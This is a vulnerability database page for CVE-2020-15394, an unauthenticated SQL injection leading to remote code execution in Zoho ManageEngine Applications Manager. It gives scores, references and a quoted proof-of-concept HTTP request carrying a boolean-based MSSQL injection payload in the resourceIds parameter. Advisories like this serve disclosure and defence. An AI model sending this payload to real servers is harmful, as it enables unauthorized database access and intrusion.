Vulmon Recent Vulnerabilities Research Posts Trends Blog About Contact
9.8
CVSSv3

CVE-2020-15394

Published: 25/09/2020 Updated: 30/09/2020
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
CVSS v3 Base Score: 9.8 | Impact Score: 5.9 | Exploitability Score: 3.9
VMScore: 668
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P
Subscribe to Zohocorp

Vulnerability Summary

The REST API in Zoho ManageEngine Applications Manager before build 14740 allows an unauthenticated SQL Injection via a crafted request, leading to Remote Code Execution.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

zohocorp manageengine applications manager

zohocorp manageengine applications manager 14.0

Github Repositories

https://github.com/trungtin1998/cve

PoC CVE

PoC CVE CVE-2020-15394 DBMS: MSSQL TRUE condition in sql query POST /AppManager/json/ApmAdminServices/checkResourceID HTTP/11 Host: redactedcom Content-Type: application/x-www-form-urlencoded Content-Length: 67 resourceIds=1)+AND+(SELECT+CASE+WHEN+(1=1)+THEN+1+ELSE+1/0+END)=1-- HTTP/11 200 Set-Cookie: JSESSIONID_APM_80=123; Path=/;

References

CWE-89https://www.manageengine.com/products/applications_manager/issues.html#v14740https://www.manageengine.comhttps://www.manageengine.com/products/applications_manager/security-updates/security-updates-cve-2020-15394.htmlhttps://nvd.nist.govhttps://github.com/trungtin1998/cve
CVSSv3
CVSSv2
CVSSv3
VMScore
Recommendations:
CVE-2024-1183hard-codedCVE-2024-28254CVE-2023-43790buffer overflowbypassCVE-2024-32633CVE-2024-1874CVE-2024-23558
Vulnerability Notification Service
You don’t have to wait for vulnerability scanning results
Get Started

Vulmon Search

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

About

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Products

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Connect

Twitter Reddit Linkedin Facebook